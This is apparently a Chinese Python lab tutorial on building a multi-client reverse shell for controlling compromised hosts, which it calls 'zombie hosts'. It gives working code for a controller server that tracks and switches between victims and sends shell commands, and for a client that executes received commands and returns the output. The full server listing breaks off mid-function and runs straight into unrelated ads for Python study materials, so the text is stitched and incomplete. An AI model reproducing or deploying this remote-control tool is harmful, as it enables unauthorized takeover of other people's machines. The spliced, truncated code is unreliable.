2.2 TCP(传输控制协议)
TCP提供一种面向连接的、可靠的字节流服务。面向连接意味着两个使用TCP的应用(通常是一个客户和一个服务器)在彼此交换数据包之前必须先建立一个TCP连接。这一过程与打电话很相似,先拨号振铃,等待对方摘机说“喂”,然后才说明是谁。在一个TCP连接中,仅有两方进行彼此通信,而且广播和多播不能用于TCP。由于这里需要传输的数据量比较小,对传输效率影响不大,而且Tcp相对来说比较稳定!所以本次实验课程将采用Tcp协议来实现多客户端的反向Shell。
2.3 可控制肉鸡反向Shell实现方案
本次实验将基于Tcp实现一个C/S结构的应用,Client作为被控端主动连接控制端,Server作为控制端则等待肉鸡连接。具体实现方案如下:
Server(控制端)
Server作为控制端,我们首先要用Python的Socket模块监听本地端口,并等待被控端连接,由于我们要实现多个肉鸡的反向Shell,所以我们需要 维护连接的主机列表,并选择当前要发送命令的肉机,接下来我们就可以通过socket给指定的主机发送Shell命令了。
Client(被控端)
Client作为被控端,首先我们要通过Python的Socket模块连接到控制端,之后只要一直等待控制端发送Shell命令就可以了,当接收到控制端发送的命令之后,用Python的subprocess模块执行Shell命令,并将执行命令的结果用socket发送给控制端。
三、代码实现
看了上面这么多理论知识,同学们是不是觉得有些厌烦了?别急,现在同学们就跟着我的思路来看一下代码的实现过程。另外说一下,在这里我可能会把被控端叫作肉鸡,意思其实是完全被我们控制的主机。在这里我们可以把肉鸡(机)和被控端当成一回事来看待,因为你能获得主机的Shell一般就可以完全控制这台主机了。
3.1 控制端(Server)
控制端需要实现等待被控端连接、给被控端发送Shell命令,并且可以选择和切换当前要接收Shell命令的肉鸡(被控端)。所以,首先我们需要创建一个socket对象,并监听7676端口,代码如下:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建一个Tcp Socket
s.bind((‘0.0.0.0’,7676)) #绑定7676端口,并与允许来自任意地址的连接
s.listen(1024) #开始监听端口
可能大家都比较熟悉socket的用法,这里我只说一下创建socket对象时两个参数的含义,一般我都会在代码的注释中同时解释每段代码的含义。socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM 代表使用面向流的Tcp协议,也就是说我们创建了一个基于IPv4协议的Tcp Server。 接下来当有肉鸡连接的时候我们需要获取肉机的socket,并记录起来,以便和肉鸡进行通信。我们先来看下代码:
def wait_connect(sk):
global clientList
while not quitThread:
if len(clientList) == 0:
print(‘Waiting for the connection…’)
sock, addr = sk.accept()
print(‘New client %s is connection!’ % (addr[0]))
lock.acquire()
clientList.append((sock, addr))
lock.release()
当有多个肉机连接到控制端时,我们要记录肉机的socket对象,以便我们可以选择不同的操作对象,我们再来看一看是怎样实现选择已经连接的肉机,代码如下:
clientList = [] #连接的客户端列表
curClient = None #当前的客户端
def select_client(): #选择客户端
global clientList
global curClient
for i in range(len(clientList)): #输出已经连接到控制端的肉机地址
print(‘[%i]-> %s’ % (i, str(clientList[i][1][0])))
print(‘Please select a client!’)
while True:
num = input(‘client num:’) #等待输入一个待选择地址的序号
if int(num) >= len(clientList):
print(‘Please input a correct num!’)
continue
else:
break
curClient = clientList[int(num)] #将选择的socket对象存入curClient中
通过记录已经连接肉鸡的socket,并将选择的socket赋值给curClient就实现了多客户端的选择。 现在我们就可以实现命令的发送和接收了:
def shell_ctrl(socket,addr): #负责发送Shell命令和接收结果
while True:
com = input(str(addr[0]) + ‘:~#’) #等待输入命令
if com == ‘!ch’: #切换肉机命令
select_client()
return
if com == ‘!q’: #退出控制端命令
exit(0)
socket.send(com.encode(‘utf-8’)) #发送命令的字节码
data = socket.recv(1024) #接收反回的结果
print(data.decode(‘utf-8’)) #输出结果
这里有一点需要注意一下,这里我们对接收和发送统一都用utf-8进行编码和解码,同样在客户端中也采用同样的编码才会保证接收和发送的结果正确。至于发送命令这部分主要就是等待用户输入命令然后判断是不是切换肉鸡或者是退出命令,如果不是就把命令发送给客户端。到此我们的控制端基本的组成部分就实现完成了!
3.2 被控端(Client)
被控端需要实现连接到控制端、执行控制端发送过来的命令并将执行命令后的结果发送给控制端。与控制端相比被控端要简单的多,下面我们就用一个函数来实现上面我们提到的功能,代码如下:
def connectHost(ht,pt):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建socket对象
sock.connect((ht,int(pt))) #主机的指定端口
while True:
data = sock.recv(1024) #接收命令
data = data.decode(‘utf-8’) #对命令解码
#执行命令
comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
#获取命令执行结果
m_stdout, m_stderr = comRst.communicate()
#将执行命令结果编码后发送给控制端
sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode(‘utf-8’))
time.sleep(1)
sock.close()
通过这一个函数就实现了被控端的所有功能,是不是很简单?这个函数的核心其实就是subprocess.Popen()这个函数,这里我简单介绍一下。subprocess.Popen()可以实现在一个新的进程中启动一个子程序,第一个参数就是子程序的名字,shell=True则是说明程序在Shell中执行。至于stdout、stderr、stdin的值都是subprocess.PIPE,则表示用管道的形式与子进程交互。还有一个需要注意的地方就是在给控制端发送命令执行结果的时候,这里先将结果用本地系统编码的方式进行解码,然后又用utf-8进行编码,以避免被控端编码不是utf-8时,控制端接收到的结果显示乱码。
至此我们就将控制端和被控端都实现完了,代码很容易理解,代码量也不多。下面我们来整合全部代码!
四、完整代码
本节将会展示完整代码,在 /home/shiyanlou/ 目录下新建 server 文件夹
4.1 控制端
在 /home/shiyanlou/server 目录下新建 server.py文件,并向其中写入如下代码:
#!/usr/bin/env python3
-- coding: utf-8 --
import socket
import threading
clientList = [] #连接的客户端列表
curClient = None #当前的客户端
quitThread = False #是否退出线程
lock = threading.Lock()
def shell_ctrl(socket,addr):
while True:
com = input(str(addr[0]) + ‘:~#’)
if com == ‘!ch’:
select_client()
return
if com == ‘!q’:
quitThread = True
print(‘-----------------------* Connection has ended *--------------------------’)
exit(0)
socket.send(com.encode(‘utf-8’))
data = socket.recv(1024)
print(data.decode(‘utf-8’))
def select_client():
global clientList
global curClient
print(‘--------------* The current is connected to the client: *----------------’)
for i in range(len(clientList)):
print(‘[%i]-> %s’ % (i, str(clientList[i][1][0])))
print(‘Please select a client!’)
while True:
num = input(‘client num:’)
if int(num) >= len(clientList):
print(‘Please input a correct num!’)
continue
else:
break
curClient = clientList[int(num)]
print(‘=’ * 80)
print(’ ’ * 20 + ‘Client Shell from addr:’, curClient[1][0])
print(‘=’ * 80)
def wait_connect(sk):
global clientList
while not quitThread:
if len(clientList) == 0:
print(‘Waiting for the connection…’)
sock, addr = sk.accept()
print(‘New client %s is connection!’ % (addr[0]))
lock.acquire()
clientList.append((sock, addr))
lock.release()
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘0.0.0.0’,7676))
s.listen(1024)
t = threading.Thread(target=wait_connect,args=(s,))
t.start()
while True:
if len(clientList) > 0:
学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!
一、Python所有方向的学习路线
Python所有方向路线就是把Python常用的技术点做整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、学习软件
工欲善其事必先利其器。学习Python常用的开发软件都在这里了,给大家节省了很多时间。
三、全套PDF电子书
书籍的好处就在于权威和体系健全,刚开始学习的时候你可以只看视频或者听某个人讲课,但等你学完之后,你觉得你掌握了,这时候建议还是得去看一下书籍,看权威技术书籍也是每个程序员必经之路。
四、入门学习视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
五、实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
六、面试资料
我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!